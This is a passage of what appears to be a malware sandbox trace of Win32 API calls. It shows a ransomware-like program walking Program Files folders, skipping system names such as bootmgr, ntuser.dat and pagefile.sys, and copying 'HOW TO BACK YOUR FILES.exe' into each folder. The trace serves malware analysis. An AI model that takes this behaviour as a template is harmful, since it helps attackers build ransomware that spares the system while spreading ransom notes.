	[0055.794] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x395428f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395428f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.794] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.794] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.794] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.794] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.794] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1
	[0055.794] lstrcmpiW (lpString1="chrmstp.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.794] lstrcmpiW (lpString1="chrmstp.exe", lpString2="Apollon865.txt.exe") returned 1
	[0055.794] lstrcmpiW (lpString1="chrmstp.exe", lpString2=".") returned 1
	[0055.794] lstrcmpiW (lpString1="chrmstp.exe", lpString2="..") returned 1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="windows") returned -1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="bootmgr") returned 1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="temp") returned -1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="pagefile.sys") returned -1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="boot") returned 1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="ids.txt") returned -1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="ntuser.dat") returned -1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="perflogs") returned -1
	[0055.795] lstrcmpiW (lpString1="chrmstp.exe", lpString2="MSBuild") returned -1
	[0055.795] lstrlenW (lpString="chrmstp.exe") returned 11
	[0055.795] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*") returned 74
	[0055.795] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions"
	[0055.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0055.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0055.795] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned 73
	[0055.795] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions"
	[0055.795] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.795] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.799] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.799] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x395428f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395428f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.799] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.799] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.799] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.799] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x395428f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395428f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.799] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.799] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.799] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.799] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.799] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1
	[0055.799] lstrcmpiW (lpString1="external_extensions.json", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.799] lstrcmpiW (lpString1="external_extensions.json", lpString2="Apollon865.txt.exe") returned 1
	[0055.799] lstrcmpiW (lpString1="external_extensions.json", lpString2=".") returned 1
	[0055.799] lstrcmpiW (lpString1="external_extensions.json", lpString2="..") returned 1
	[0055.799] lstrcmpiW (lpString1="external_extensions.json", lpString2="windows") returned -1
	[0055.799] lstrcmpiW (lpString1="external_extensions.json", lpString2="bootmgr") returned 1
	[0055.799] lstrcmpiW (lpString1="external_extensions.json", lpString2="temp") returned -1
	[0055.800] lstrcmpiW (lpString1="external_extensions.json", lpString2="pagefile.sys") returned -1
	[0055.800] lstrcmpiW (lpString1="external_extensions.json", lpString2="boot") returned 1
	[0055.800] lstrcmpiW (lpString1="external_extensions.json", lpString2="ids.txt") returned -1
	[0055.800] lstrcmpiW (lpString1="external_extensions.json", lpString2="ntuser.dat") returned -1
	[0055.800] lstrcmpiW (lpString1="external_extensions.json", lpString2="perflogs") returned -1
	[0055.800] lstrcmpiW (lpString1="external_extensions.json", lpString2="MSBuild") returned -1
	[0055.800] lstrlenW (lpString="external_extensions.json") returned 24
	[0055.800] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*") returned 75
	[0055.800] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps"
	[0055.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0055.800] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned 75
	[0055.800] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps"
	[0055.800] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.800] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.806] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.806] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x39568a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39568a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.807] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.807] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.807] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.807] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x39568a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39568a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.807] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.807] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.807] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.807] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.807] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="Apollon865.txt.exe") returned 1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2=".") returned 1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="..") returned 1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="windows") returned -1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="bootmgr") returned 1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="temp") returned -1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="pagefile.sys") returned -1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="boot") returned 1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="ids.txt") returned -1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="ntuser.dat") returned -1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="perflogs") returned -1
	[0055.807] lstrcmpiW (lpString1="docs.crx", lpString2="MSBuild") returned -1
	[0055.807] lstrlenW (lpString="docs.crx") returned 8
	[0055.807] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*") returned 77
	[0055.808] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0055.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0055.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0055.808] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files") returned 35
	[0055.808] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files" | out: lpString1="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0055.808] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.808] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.812] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.812] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39568a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39568a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.812] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.812] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.812] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.812] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39568a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39568a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.812] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.812] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.812] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.812] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.812] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="Apollon865.txt.exe") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1
	[0055.812] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1
	[0055.812] lstrlenW (lpString="Adobe") returned 5
	[0055.812] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\*") returned 37
	[0055.813] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\System", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System"
	[0055.813] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0055.813] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0055.813] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System") returned 42
	[0055.813] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System"
	[0055.813] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.813] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.823] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3958ebb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3958ebb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.824] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.824] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.824] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.824] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3958ebb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3958ebb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.824] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.824] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.824] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.824] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.824] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="Apollon865.txt.exe") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2=".") returned 1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="..") returned 1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="windows") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="bootmgr") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="temp") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="pagefile.sys") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="boot") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="ids.txt") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="ntuser.dat") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="perflogs") returned -1
	[0055.824] lstrcmpiW (lpString1="ado", lpString2="MSBuild") returned -1
	[0055.824] lstrlenW (lpString="ado") returned 3
	[0055.824] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\*") returned 44
	[0055.825] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\System\\Ole DB", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned="C:\\Program Files (x86)\\Common Files\\System\\Ole DB"
	[0055.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0055.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0055.825] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned 49
	[0055.825] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\System\\Ole DB" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned="C:\\Program Files (x86)\\Common Files\\System\\Ole DB"
	[0055.825] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.825] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.831] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.831] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3958ebb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3958ebb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.831] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.831] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.831] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.831] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3958ebb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3958ebb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.831] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.831] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.831] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.831] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.831] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0055.831] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
